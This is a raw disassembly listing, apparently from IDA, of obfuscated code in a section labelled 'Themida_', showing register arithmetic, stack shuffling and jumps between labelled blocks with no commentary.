Themida_:0055E5CDj push 6F27h mov [esp], edx push 3E01h mov [esp], eax mov eax, 1212193Bh mov edx, 14498606h sub edx, 3182578Dh sub edx, eax jmp loc_566F81 ; --------------------------------------------------------------------------- loc_571CF8: ; CODE XREF: Themida_:00572410j add edx, 0AAD5D65h jmp loc_55F57F ; --------------------------------------------------------------------------- loc_571D03: ; CODE XREF: Themida_:005712A4j xor ebp, 436427BDh sub ecx, ebp jmp loc_5729C2 ; --------------------------------------------------------------------------- loc_571D10: ; CODE XREF: Themida_:0056F207j sub edx, 3A51167Ch sub esp, 4 mov [esp], ecx push 242Fh mov [esp], edx push 3B99h mov [esp], edx push edi push esi mov esi, 70FB56C6h mov edi, 0CC1CE04Dh add edi, esi pop esi shr edi, 1 xchg ecx, edi jmp loc_56E1C9 ; --------------------------------------------------------------------------- loc_571D47: ; CODE XREF: Themida_:00562F8Bj pop eax push 4BA7h mov [esp], esi jmp loc_5689FB ; --------------------------------------------------------------------------- loc_571D55: ; CODE XREF: Themida_:005711A1j push 58A3h mov [esp], edx jmp loc_56516A ; --------------------------------------------------------------------------- loc_571D62: ; CODE XREF: Themida_:00572651j add esp, 4 add esp, 4 push dx push eax sub esp, 4 mov [esp], ecx mov cl, 8Ah mov al, 84h jmp loc_56F3D6 ; --------------------------------------------------------------------------- loc_571D80: ; CODE XREF: Themida_:00565C28j shr ebx, 8 or ebx, 649B7BF5h jmp loc_562646 ; --------------------------------------------------------------------------- loc_571D8E: ; CODE XREF: Themida_:005619FEj push ecx push 105572F5h jmp loc_5672E5 ; --------------------------------------------------------------------------- loc_571D99: ; CODE XREF: Themida_:00569D4Ej push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_56D358 ; --------------------------------------------------------------------------- loc_571DAD: ; CODE XREF: Themida_:0056485Aj add edx, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebp push eax jmp loc_5652AE ; --------------------------------------------------------------------------- loc_571DC9: ; CODE XREF: Themida_:0057029Ej push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 jmp loc_55D8E8 ; --------------------------------------------------------------------------- loc_571DDB: ; CODE XREF: Themida_:00561559j pop edi xor ebx, 57E90129h push ebp mov ebp, 2AAA02B9h add ebx, ebp mov ebp, [esp] jmp loc_570AB3 ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_569A80 ; --------------------------------------------------------------------------- loc_571DFA: ; CODE XREF: Themida_:0056BCEAj push ebx push edi jmp loc_56D499 ; --------------------------------------------------------------------------- loc_571E01: ; CODE XREF: Themida_:0056A545j sub esi, 4A91561Bh add esi, 2E771E10h xor esi, 0E4A1E41Ch add edx, 7A023541h add edx, esi sub edx, 7A023541h jmp loc_5638CD ; --------------------------------------------------------------------------- loc_571E26: ; CODE XREF: Themida_:00566F15j pop edx inc esi push ebp mov ebp, 4A991E6Ah jmp loc_561782 ; --------------------------------------------------------------------------- loc_571E33: ; CODE XREF: Themida_:00567CBDj mov [esp], edx sub esp, 4 mov [esp], ebx jmp loc_5629FD ; --------------------------------------------------------------------------- loc_571E41: ; CODE XREF: Themida_:0055FE89j mov [esp], esi mov esi, 2DD04D0Ch add dword ptr [esp+4], 5BA04702h add [esp+4], esi jmp loc_56EEEF ; --------------------------------------------------------------------------- loc_571E5A: ; CODE XREF: Themida_:00569BC1j pop esp sub dword ptr [esp+4], 71E705C9h add dword ptr [esp+4], 5BD55E20h push ebp jmp loc_56E7D2 ; --------------------------------------------------------------------------- loc_571E71: ; CODE XREF: Themida_:0056750Ej pop esi sub edi, 2AEC2B7Ah jmp loc_560AA9 ; --------------------------------------------------------------------------- loc_571E7D: ; CODE XREF: Themida_:005610F2j mov bl, 0Bh sub bl, 62h xor ch, bl jmp loc_562688 ; --------------------------------------------------------------------------- loc_571E89: ; CODE XREF: Themida_:0056F7ABj add eax, 533D1908h pop ebp xchg eax, [esp] mov esp, [esp] mov ax, [esp] jmp loc_55EDA0 ; --------------------------------------------------------------------------- loc_571E9E: ; CODE XREF: Themida_:00565663j sub ebx, 3817556h jmp loc_5671E9 ; --------------------------------------------------------------------------- loc_571EA9: ; CODE XREF: Themida_:00562909j sub ebp, esi add ebp, 41114C6Ah sub ebp, 396D26C8h pop esi mov edi, ebp mov ebp, [esp] jmp loc_563BF3 ; --------------------------------------------------------------------------- loc_571EC2: ; CODE XREF: Themida_:0056F79Cj mov esi, [esp] jmp loc_560BD6 ; --------------------------------------------------------------------------- loc_571ECA: ; CODE XREF: Themida_:0056D954j add esp, 4 add cl, 8Ah jmp loc_563FCA ; --------------------------------------------------------------------------- loc_571ED5: ; CODE XREF: Themida_:00570A27j pop edi pop edx xor esi, 512E5794h push esi push dword ptr [esp] jmp loc_56C740 ; --------------------------------------------------------------------------- loc_571EE6: ; CODE XREF: Themida_:0056C94Dj push 92086E4Bh pop ebx xor ebp, ebx pop ebx push ecx mov ecx, 626E68B9h jmp loc_571061 ; --------------------------------------------------------------------------- lodsd push edx mov edx, 2ADD241Eh sub esi, edx jmp loc_56FDCB ; --------------------------------------------------------------------------- loc_571F08: ; CODE XREF: Themida_:0056D072j mov edi, 0D35383h or edi, 3FCE54F7h xor edi, 63FA796Ch push 2027h jmp loc_55E81E ; --------------------------------------------------------------------------- loc_571F23: ; CODE XREF: Themida_:0055D575j sub edx, ebp pop ebp mov [edx], eax mov edx, [esp] push ebx mov ebx, esp jmp loc_564326 ; --------------------------------------------------------------------------- loc_571F33: ; CODE XREF: Themida_:005728EAj push edx mov edx, 6AFF02C8h push edi mov edi, 6F3E5F93h sub edi, 0DA3D623Fh mov ebx, edi mov edi, [esp] add esp, 4 jmp loc_566826 ; --------------------------------------------------------------------------- loc_571F55: ; CODE XREF: Themida_:00561ED7j or esi, 400E6566h sub esi, 519343ECh jmp loc_56DE61 ; --------------------------------------------------------------------------- loc_571F66: ; CODE XREF: Themida_:005662B1j sub esi, 1C5B56DCh and ebx, esi jmp loc_56165B ; --------------------------------------------------------------------------- loc_571F73: ; CODE XREF: Themida_:005674FBj mov dh, ah mov eax, [esp] jmp loc_560DA0 ; --------------------------------------------------------------------------- loc_571F7D: ; CODE XREF: Themida_:00564682j shr eax, 10h xor eax, ecx jmp loc_56FF2A ; --------------------------------------------------------------------------- loc_571F87: ; CODE XREF: Themida_:0056C6ABj sub esi, 76687D93h xor ebp, esi pop esi push eax mov eax, 3D7013A3h sub ebx, eax mov eax, [esp] push edx mov edx, esp jmp loc_562EC4 ; --------------------------------------------------------------------------- loc_571FA3: ; CODE XREF: Themida_:00562DDBj shr eax, 8 push ebp jmp loc_56E6CB ; --------------------------------------------------------------------------- loc_571FAC: ; CODE XREF: Themida_:0056FC40j inc edi shr edi, 6 push ebx mov ebx, 64F83E3Ah and ebx, 4ACC4542h push edi mov edi, 1F270ECDh xor edi, 298B74C6h xor edi, 489506B2h shr edi, 3 push esi push ebp mov ebp, 56BD3C6Ch dec ebp jmp loc_561DA3 ; --------------------------------------------------------------------------- loc_571FDE: ; CODE XREF: Themida_:0056275Aj shr edx, 7 jmp loc_57054C ; --------------------------------------------------------------------------- loc_571FE6: ; CODE XREF: Themida_:0056CF55j mov esi, 497B6778h sub esp, 4 mov [esp], eax mov eax, 7EDE7D6Fh and eax, 3B8827F8h jmp loc_562E6A ; --------------------------------------------------------------------------- loc_572000: ; CODE XREF: Themida_:0056906Cj sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], ebp push edx mov edx, esp add edx, 4 push ecx push 4DE7759Ah pop ecx xor ecx, 94C300Bh jmp loc_560603 ; --------------------------------------------------------------------------- loc_57202A: ; CODE XREF: Themida_:0056FCCBj pop ebp sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], eax mov eax, 32607D34h dec eax not eax shr eax, 2 xor eax, 3367E0B7h push eax add dword ptr [esp], 22AC29AEh push dword ptr [esp] pop edx add esp, 4 sub edx, 22AC29AEh push dword ptr [esp] pop eax sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push ebx mov ebx, 19817C0Fh shr ebx, 1 xor ebx, 326335F2h sub ebx, 782A74A4h add ebx, 506930C6h inc ebx jmp loc_55DD44 ; --------------------------------------------------------------------------- loc_572091: ; CODE XREF: Themida_:00567829j pop eax xor esi, 7B2E4732h push 64Fh mov [esp], edi push 183Dh mov [esp], edx mov edx, 3BB60F2Ah and edx, 3787600h or edx, 13907ACFh inc edx jmp loc_56281E ; --------------------------------------------------------------------------- loc_5720BF: ; CODE XREF: Themida_:0056FD15j mov edi, ebp pop ebp sub [esp+4], edi mov edi, [esp] add esp, 4 mov eax, [esp] push ebp mov ebp, esp push esi mov esi, 3E6D2A76h and esi, 1E60728Ah shl esi, 1 push eax mov eax, 243C76A2h jmp loc_563614 ; --------------------------------------------------------------------------- loc_5720EB: ; CODE XREF: Themida_:005612FAj sub ebx, 76F5201Ch push edi mov edi, 13DCDA98h sub ebx, edi pop edi add edx, 3E665D38h sub edx, 0C9702B6h sub edx, ebx add edx, 0C9702B6h sub edx, 3E665D38h jmp loc_55ED47 ; --------------------------------------------------------------------------- loc_572119: ; CODE XREF: Themida_:0056DF63j pop eax xchg esi, [esp] jmp loc_567370 ; --------------------------------------------------------------------------- loc_572122: ; CODE XREF: Themida_:00565017j mov ebp, 79A96840h mov edi, 0B2406853h sub edi, ebp pop ebp xor edi, 30993B85h push ecx mov ecx, 2EA1634Dh sub ecx, 0C34A056Bh xor edi, ecx pop ecx shr edi, 7 xor edi, 48122822h xor edi, 345BE169h mov edx, edi mov edi, [esp] add esp, 4 push esi jmp loc_5717A2 ; --------------------------------------------------------------------------- loc_572161: ; CODE XREF: Themida_:00560017j mov [esp], ebp jmp loc_55E9C9 ; --------------------------------------------------------------------------- loc_572169: ; CODE XREF: Themida_:0056C07Dj add edi, 68890371h sub edi, ecx jmp loc_56A62B ; --------------------------------------------------------------------------- loc_572176: ; CODE XREF: Themida_:0056E5E0j sub ebp, eax jmp loc_5709F3 ; --------------------------------------------------------------------------- loc_57217D: ; CODE XREF: Themida_:005716C2j mov [esp], eax push 38h mov [esp], edx mov dh, cl mov ah, dh pop edx mov bh, ah jmp loc_565D14 ; --------------------------------------------------------------------------- loc_572194: ; CODE XREF: Themida_:00572A08j not ebx jmp loc_561838 ; --------------------------------------------------------------------------- loc_57219B: ; CODE XREF: Themida_:005630D1j and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 shr eax, 8 xor eax, ecx xor eax, edx jmp loc_560707 ; --------------------------------------------------------------------------- loc_5721B8: ; CODE XREF: Themida_:0055FA85j push 15E654D3h jmp loc_568125 ; --------------------------------------------------------------------------- loc_5721C2: ; CODE XREF: Themida_:0056E693j and edi, eax mov eax, [esp] add esp, 4 shl edi, 4 push eax mov eax, 3A06D872h add edi, eax pop eax jmp loc_568118 ; --------------------------------------------------------------------------- loc_5721DE: ; CODE XREF: Themida_:00567FC3j push ecx jmp loc_56BB9C ; --------------------------------------------------------------------------- loc_5721E4: ; CODE XREF: Themida_:0056DDC1j mov [esp], ax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5721ED: ; CODE XREF: Themida_:00566E47j mov edi, ecx pop ecx push edi add dword ptr [esp], 3AF753A8h push dword ptr [esp] mov ebp, [esp] push edi jmp loc_563D75 ; --------------------------------------------------------------------------- loc_572204: ; CODE XREF: Themida_:00562FAEj sub esp, 4 mov [esp], ecx mov ch, 1Eh xor ch, 56h xor bh, ch mov ecx, [esp] add esp, 4 xor bh, 6 xor al, bh push dword ptr [esp] jmp loc_56A5A9 ; --------------------------------------------------------------------------- loc_572227: ; CODE XREF: Themida_:0056E597j shl edi, 3 xor edi, 23135690h sub edi, 2879CBEFh mov eax, edi jmp loc_569295 ; --------------------------------------------------------------------------- loc_57223D: ; CODE XREF: Themida_:0056ECD5j add dword ptr [esp], 4 jmp loc_572AFD ; --------------------------------------------------------------------------- loc_572246: ; CODE XREF: Themida_:0056FB37j add edi, 4 add edi, 4 push edi push dword ptr [esp+4] jmp loc_567160 ; --------------------------------------------------------------------------- loc_57225C: ; CODE XREF: Themida_:00568281j sub ebx, 4FC2575Bh sub ebx, 667700E9h push ecx mov ecx, 0DC66F28h inc ecx shr ecx, 1 and ecx, 2AAF4C65h sub ecx, 0A30FF490h add ebx, ecx pop ecx push 725Eh mov [esp], eax mov eax, 0FB1CA3h push ecx mov ecx, 3F8D22EAh add eax, ecx pop ecx sub ebx, eax push dword ptr [esp] mov eax, [esp] jmp loc_56B36E ; --------------------------------------------------------------------------- loc_5722A3: ; CODE XREF: Themida_:00563FEAj push 450Bh mov [esp], esi jmp loc_56BD91 ; --------------------------------------------------------------------------- loc_5722B0: ; CODE XREF: Themida_:0055E3C1j push edi jmp loc_56D0F6 ; --------------------------------------------------------------------------- loc_5722B6: ; CODE XREF: Themida_:0056E983j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5722BB: ; CODE XREF: Themida_:00565B16j mov edi, [esp] add esp, 4 xor ebx, 111C38FEh push eax push ecx mov ecx, 35653236h sub ecx, 7A19133Fh shl ecx, 6 xor ecx, 8E41C667h mov eax, ecx jmp loc_569380 ; --------------------------------------------------------------------------- loc_5722E7: ; CODE XREF: Themida_:00566CF7j sub ebp, 3AF753A8h mov edi, [esp] add esp, 4 mov ecx, ebp pop ebp jmp loc_563A94 ; --------------------------------------------------------------------------- loc_5722FB: ; CODE XREF: Themida_:0056F6D6j add ecx, eax jmp loc_560F5C ; --------------------------------------------------------------------------- loc_572302: ; CODE XREF: Themida_:0055F487j mov bh, 0Bh mov ah, bh pop ebx dec ah add ah, 86h mov bl, ah pop eax mov cl, bl pop ebx add cl, 10h add cl, 1 sub cl, ah sub cl, 1 sub cl, 10h pop eax sub bl, cl mov ecx, [esp] add esp, 4 jmp loc_57293C ; --------------------------------------------------------------------------- loc_572331: ; CODE XREF: Themida_:00570C74j pop ebp push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push ebp mov ebp, esp push edi mov edi, 209619DAh sub edi, 209619D6h add ebp, edi pop edi add ebp, 4 jmp loc_570CDC ; --------------------------------------------------------------------------- loc_572356: ; CODE XREF: Themida_:0056E440j sub [esp+4], esi push eax mov eax, 31B10174h add [esp+8], eax pop eax add dword ptr [esp+4], 45B04FB4h add dword ptr [esp+4], 40214940h mov esi, [esp] jmp loc_56235E ; --------------------------------------------------------------------------- loc_57237D: ; CODE XREF: Themida_:0055E0FBj sub esp, 4 jmp loc_55E34A ; --------------------------------------------------------------------------- loc_572388: ; CODE XREF: Themida_:0056F9C4j pop ecx push eax mov eax, 2 jmp loc_570A8F ; --------------------------------------------------------------------------- loc_572394: ; CODE XREF: Themida_:005604DCj sub esp, 4 mov [esp], ebp mov ebp, 4 sub edx, 380596Eh jmp loc_55D588 ; --------------------------------------------------------------------------- loc_5723AD: ; CODE XREF: Themida_:0056DE5Cj sub ecx, 77713F47h pop edx xchg ecx, [esp] pop esp push 1BA1h mov [esp], ebx push 57BDh mov [esp], ebp mov ebp, 1CED587Fh mov ebx, ebp pop ebp sub ebx, 1 or ebx, 1E152FD4h xor ebx, 6AEF2E06h jmp loc_567028 ; --------------------------------------------------------------------------- loc_5723E7: ; CODE XREF: Themida_:0055EC01j add eax, edi sub eax, 2C1F3A90h add eax, 42283EEFh sub eax, 55FF2D01h push dword ptr [esp] jmp loc_56EFA9 ; --------------------------------------------------------------------------- loc_572400: ; CODE XREF: Themida_:0055FB8Aj pop ebx sub al, ch push dword ptr [esp] jmp loc_56F20C ; --------------------------------------------------------------------------- loc_57240B: ; CODE XREF: Themida_:0056154Ej mov edx, 565041AEh jmp loc_571CF8 ; --------------------------------------------------------------------------- loc_572415: ; CODE XREF: Themida_:0056BB47j mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_561CE0 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_568E76 ; --------------------------------------------------------------------------- loc_572430: ; CODE XREF: Themida_:0056989Aj sub si, 48F1h neg si jmp loc_562540 ; --------------------------------------------------------------------------- loc_57243D: ; CODE XREF: Themida_:0056BA34j pop dword ptr [esp] jmp loc_572531 ; --------------------------------------------------------------------------- loc_572445: ; CODE XREF: Themida_:005668B4j mov ebp, 62F436CCh jmp loc_56AAC9 ; --------------------------------------------------------------------------- loc_57244F: ; CODE XREF: Themida_:005600D0j mov ebx, 573628BCh shl ebx, 4 inc ebx dec ebx inc ebx add ebx, 0F8BAB14Eh jmp loc_56F87C ; --------------------------------------------------------------------------- loc_572465: ; CODE XREF: Themida_:0056B130j pop ecx push 0 push edx mov edx, 51380437h push ecx mov ecx, 32637CD0h add [esp+8], ecx pop ecx sub dword ptr [esp+4], 69B55F9Ch sub [esp+4], edx add dword ptr [esp+4], 69B55F9Ch sub dword ptr [esp+4], 32637CD0h pop edx jmp loc_560B77 ; --------------------------------------------------------------------------- loc_57249E: ; CODE XREF: Themida_:0055F81Bj push edx mov edx, 0F283187h sub [esp+4], edx mov edx, [esp] push ebx push esp mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add ebx, 4 sub esp, 4 mov [esp], edi mov edi, 4 sub ebx, edi jmp loc_569202 ; --------------------------------------------------------------------------- loc_5724D9: ; CODE XREF: Themida_:00570022j sub esp, 2 mov [esp], dx mov dl, 8Eh sub bl, dl mov dx, [esp] add esp, 2 jmp loc_56F4E5 ; --------------------------------------------------------------------------- loc_5724F0: ; CODE XREF: Themida_:0055D36Dj not edx jmp loc_570459 ; --------------------------------------------------------------------------- loc_5724F7: ; CODE XREF: Themida_:00567703j mov ecx, esp add ecx, 4 jmp loc_56FB0B ; --------------------------------------------------------------------------- loc_572504: ; CODE XREF: Themida_:00571760j dec eax sub eax, 0B0CA93A2h mov ebp, eax pop eax or ebp, 27526531h jmp loc_56A1C4 ; --------------------------------------------------------------------------- loc_572518: ; CODE XREF: Themida_:005681F8j push ecx mov ecx, 60045C29h jmp loc_565DE9 ; --------------------------------------------------------------------------- loc_572523: ; CODE XREF: Themida_:00564041j sub dl, 0FFh sub esp, 2 jmp loc_565A00 ; --------------------------------------------------------------------------- loc_572531: ; CODE XREF: Themida_:00572440j mov esp, [esp] sub [esp], al pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_57253D: ; CODE XREF: Themida_:0055D43Cj pop edx neg edx and edx, 2D5436EEh add edx, 1FD5553h shl edx, 1 add edx, 0A97D4912h sub ecx, 68476E16h add ecx, edx add ecx, 68476E16h pop edx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp add [esp], eax push 1E79h jmp loc_5602A3 ; --------------------------------------------------------------------------- loc_57257A: ; CODE XREF: Themida_:00566D49j mov edi, 60E564D2h not edi sub edi, 0A96491A8h add esi, edi mov edi, [esp] add esp, 4 mov eax, esi pop esi sub dword ptr [esp+4], 222D189Fh jmp loc_565E7C ; --------------------------------------------------------------------------- loc_5725A2: ; CODE XREF: Themida_:00561902j mov ah, 69h shr ah, 5 shl ah, 2 and ah, 11h or ah, 32h sub ah, 42h jmp loc_565E4E ; --------------------------------------------------------------------------- loc_5725B8: ; CODE XREF: Themida_:005653A4j pop ebx jmp loc_561941 ; --------------------------------------------------------------------------- loc_5725BE: ; CODE XREF: Themida_:0055DE3Dj mov esi, 75595320h not esi jmp loc_569F15 ; --------------------------------------------------------------------------- loc_5725CA: ; CODE XREF: Themida_:0056C3B1j pop ebx mov ebp, eax jmp loc_55F91E ; --------------------------------------------------------------------------- loc_5725D2: ; CODE XREF: Themida_:005683E3j shr edi, 5 shl edi, 5 neg edi sub edi, 0E272C29Ch xor ebp, edi pop edi jmp loc_563F86 ; --------------------------------------------------------------------------- loc_5725E8: ; CODE XREF: Themida_:005611B6j not dword ptr [esp] mov edi, [esp] push esi jmp loc_56732C ; --------------------------------------------------------------------------- loc_5725F4: ; CODE XREF: Themida_:0055F1EFj push ebx mov ebx, esp add ebx, 4 push edx jmp loc_55F03F ; --------------------------------------------------------------------------- loc_572603: ; CODE XREF: Themida_:00563090j and esi, 210F61E5h jmp loc_55F11A ; --------------------------------------------------------------------------- loc_57260E: ; CODE XREF: Themida_:0055EB46j pop esp jmp loc_55E163 ; --------------------------------------------------------------------------- loc_572614: ; CODE XREF: Themida_:005691D2j dec esi xor esi, 4A7E20A9h xor esi, 4764491Ch mov edx, esi jmp loc_56ED46 ; --------------------------------------------------------------------------- loc_572628: ; CODE XREF: Themida_:00565B61j push 6383482h pop ecx jmp loc_562FB3 ; --------------------------------------------------------------------------- loc_572633: ; CODE XREF: Themida_:00565610j pop edx and ebp, 799E4B21h jmp loc_56C93E ; --------------------------------------------------------------------------- loc_57263F: ; CODE XREF: Themida_:005685F6j mov dl, 0FBh xor dl, 0FEh add al, dl pop edx sub al, 29h sub al, 29h push dword ptr [esp] mov ebx, [esp] jmp loc_571D62 ; --------------------------------------------------------------------------- loc_572656: ; CODE XREF: Themida_:0056A423j pop esi push edi mov edi, 4 add esi, edi pop edi push 6A92h mov [esp], eax mov eax, 4 sub esi, eax jmp loc_564052 ; --------------------------------------------------------------------------- loc_572674: ; CODE XREF: Themida_:00570B9Dj add al, 88h pop edx add al, 51h jmp loc_5674DC ; --------------------------------------------------------------------------- loc_57267E: ; CODE XREF: Themida_:0056B61Aj mov esp, [esp] jmp loc_56833A ; --------------------------------------------------------------------------- loc_572686: ; CODE XREF: Themida_:0056EE18j add ebp, eax push esi jmp loc_56FBBD ; --------------------------------------------------------------------------- loc_57268E: ; CODE XREF: Themida_:0056ABFFj xor ebp, [esp] pop esp add al, 1Fh jmp loc_5705D8 ; --------------------------------------------------------------------------- loc_572699: ; CODE XREF: Themida_:00569777j mov ecx, 4F2815F0h sub ebx, ecx pop ecx push edx mov edx, 41D616D3h jmp loc_55F1DF ; --------------------------------------------------------------------------- loc_5726AC: ; CODE XREF: Themida_:0056C6CFj mov [esp], ebp sub esp, 4 mov [esp], edi mov edi, 6D8E152Ah xor edi, 61E66E20h jmp loc_56728F ; --------------------------------------------------------------------------- loc_5726C5: ; CODE XREF: Themida_:005727F1j mov ecx, esp jmp loc_56533B ; --------------------------------------------------------------------------- loc_5726CC: ; CODE XREF: Themida_:005713A5j sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esp jmp loc_563A51 ; --------------------------------------------------------------------------- loc_5726EC: ; CODE XREF: Themida_:0056CA85j add esp, 4 push ebp jmp loc_563B05 ; --------------------------------------------------------------------------- loc_5726F5: ; CODE XREF: Themida_:0056CA70j mov [esp], edi mov edi, 14293FDCh sub esi, edi pop edi mov eax, [esp] jmp loc_55F141 ; --------------------------------------------------------------------------- loc_572708: ; CODE XREF: Themida_:00563DCCj add ebp, 0B264C717h sub edi, 10D16526h add edi, ebp jmp loc_566C76 ; --------------------------------------------------------------------------- loc_57271B: ; CODE XREF: Themida_:0056A438j pop eax pop edx and ecx, esi push dword ptr [esp] mov esi, [esp] push eax mov eax, esp jmp loc_55DBE4 ; --------------------------------------------------------------------------- loc_57272D: ; CODE XREF: Themida_:0056C400j mov edi, 11BE2C9Dh jmp loc_56C147 ; --------------------------------------------------------------------------- loc_572737: ; CODE XREF: Themida_:00562098j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx mov ebx, esp push 3DDh mov [esp], edx jmp loc_569E67 ; --------------------------------------------------------------------------- loc_572758: ; CODE XREF: Themida_:00572ADCj add ebx, edx sub esp, 4 mov [esp], eax jmp loc_55F3B8 ; --------------------------------------------------------------------------- loc_572768: ; CODE XREF: Themida_:00560D53j mov ebp, [esp] add esp, 4 jmp loc_56CE0E ; --------------------------------------------------------------------------- loc_572773: ; CODE XREF: Themida_:0055F783j mov ecx, esp push 0A34h mov [esp], ebp mov ebp, 17874D0Dh push 5F9Fh mov [esp], ebp push ebx push dword ptr [esp+4] jmp loc_56B1FB ; --------------------------------------------------------------------------- loc_572794: ; CODE XREF: Themida_:00562110j sub ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], cx jmp loc_56FC1F ; --------------------------------------------------------------------------- loc_5727AC: ; CODE XREF: Themida_:005679B2j mov ebp, [esp] add esp, 4 add ebp, 4 push edx mov edx, 4 add ebp, edx jmp loc_56684B ; --------------------------------------------------------------------------- loc_5727C5: ; CODE XREF: Themida_:00569CEAj shr bl, 7 xor bl, 0A0h sub bl, 86h shr bl, 7 add bl, 0D5h push eax mov al, 0CBh sub bl, al pop eax add al, bl pop ebx jmp loc_56A010 ; --------------------------------------------------------------------------- loc_5727E2: ; CODE XREF: Themida_:00570463j add ebp, 4 xchg ebp, [esp] jmp loc_56C7E5 ; --------------------------------------------------------------------------- loc_5727ED: ; CODE XREF: Themida_:0056265Cj mov ebx, [esp] push ecx jmp loc_5726C5 ; --------------------------------------------------------------------------- loc_5727F6: ; CODE XREF: Themida_:0055DF14j add eax, 3D192096h shl eax, 6 jmp loc_55D30A ; --------------------------------------------------------------------------- loc_572803: ; CODE XREF: Themida_:0055FA5Ej push esi jmp loc_56B15B ; --------------------------------------------------------------------------- loc_572809: ; CODE XREF: Themida_:0056B5A4j mov edi, 47F722DEh jmp loc_55DB9F ; --------------------------------------------------------------------------- loc_572813: ; CODE XREF: Themida_:00561F50j add edx, 4 add edx, 4 jmp loc_55D867 ; --------------------------------------------------------------------------- loc_572821: ; CODE XREF: Themida_:005613CDj sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_56ADB5 ; --------------------------------------------------------------------------- loc_572844: ; CODE XREF: Themida_:005649C3j xchg ebx, [esp] pop esp add eax, 0BCC00B3h add eax, esi sub eax, 0BCC00B3h pop esi push ebp push 4BF0h mov [esp], esi push eax mov eax, 413D1085h jmp loc_572A14 ; --------------------------------------------------------------------------- loc_572869: ; CODE XREF: Themida_:0056C8C1j pop ecx not ecx jmp loc_56A1DF ; --------------------------------------------------------------------------- loc_572871: ; CODE XREF: Themida_:005639BAj shr ebx, 8 xor ebx, 6223D0Ch jmp loc_563421 ; --------------------------------------------------------------------------- loc_57287F: ; CODE XREF: Themida_:005689DAj xchg eax, [esp] mov esp, [esp] and [esp], eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_57288E: ; CODE XREF: Themida_:005686C3j add ecx, 0D4999B43h add esi, ecx jmp loc_56EA1F ; --------------------------------------------------------------------------- loc_57289B: ; CODE XREF: Themida_:005645AAj sub edx, ebx jmp loc_56D895 ; --------------------------------------------------------------------------- loc_5728A2: ; CODE XREF: Themida_:0056DBF8j pop ebx push edi mov edi, esp jmp loc_56507E ; --------------------------------------------------------------------------- loc_5728AB: ; CODE XREF: Themida_:0056D298j push edi push esi mov esi, 132950E0h mov edi, esi pop esi add eax, edi jmp loc_56C0C2 ; --------------------------------------------------------------------------- loc_5728BC: ; CODE XREF: Themida_:0056D9EFj mov ecx, 65277B6h sub edi, ecx pop ecx push ecx mov ecx, 462412CEh sub edi, 33ED22B0h jmp loc_5676D9 ; --------------------------------------------------------------------------- loc_5728D5: ; CODE XREF: Themida_:0055F450j xor [esp], eax xor eax, [esp] pop esp add esp, 4 shr ecx, 7 push 4D08h mov [esp], ebx jmp loc_571F33 ; --------------------------------------------------------------------------- loc_5728EF: ; CODE XREF: Themida_:00560132j sub edi, 6B180424h and edi, 60927255h push ebp mov ebp, 3DC52CDDh xor edi, ebp pop ebp push esi jmp loc_55F60E ; --------------------------------------------------------------------------- loc_57290A: ; CODE XREF: Themida_:0055F4E4j add edx, 0C6DEBFB6h sub ebx, 55327C4Eh push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_56BA9A ; --------------------------------------------------------------------------- loc_57292D: ; CODE XREF: Themida_:005662C8j mov bl, dh pop edx push dword ptr [esp] pop ecx add esp, 4 jmp loc_56D8BC ; --------------------------------------------------------------------------- loc_57293C: ; CODE XREF: Themida_:0057232Cj sub bl, 0D2h add bl, 28h sub bl, al sub bl, 28h add bl, 0D2h jmp loc_56A892 ; --------------------------------------------------------------------------- loc_57294F: ; CODE XREF: Themida_:0056DA29j push 0DC0h mov [esp], edx mov edx, esp add edx, 4 push esi mov esi, 36E73296h push eax mov eax, 0A605676h not eax jmp loc_567525 ; --------------------------------------------------------------------------- loc_572972: ; CODE XREF: Themida_:0056B0A7j and dh, cl pop cx shr dh, 7 sub dh, 2 sub bl, 0BDh jmp loc_56898A ; --------------------------------------------------------------------------- loc_572984: ; CODE XREF: Themida_:00569C17j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_568099 ; --------------------------------------------------------------------------- loc_572992: ; CODE XREF: Themida_:0056CC31j add dword ptr [esp], 4 jmp loc_567A8E ; --------------------------------------------------------------------------- loc_57299B: ; CODE XREF: Themida_:00569A51j push ebx mov ebx, 62E878BEh sub edi, ebx mov ebx, [esp] add esp, 4 jmp loc_55F37D ; --------------------------------------------------------------------------- loc_5729B1: ; CODE XREF: Themida_:0056ACC9j push ebp mov ebp, 8167EE1h sub ebp, 0A7BF7C44h jmp loc_5686A6 ; --------------------------------------------------------------------------- loc_5729C2: ; CODE XREF: Themida_:00571D0Bj pop ebp mov esi, [esp] add esp, 4 pop edi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp jmp loc_55D560 ; --------------------------------------------------------------------------- loc_5729DC: ; CODE XREF: Themida_:0056F621j not esi sub esi, 3446190Dh shl esi, 6 jmp loc_55E60C ; --------------------------------------------------------------------------- loc_5729EC: ; CODE XREF: Themida_:0056E770j add edx, 4 push edx jmp loc_56E833 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_568BE9 ; 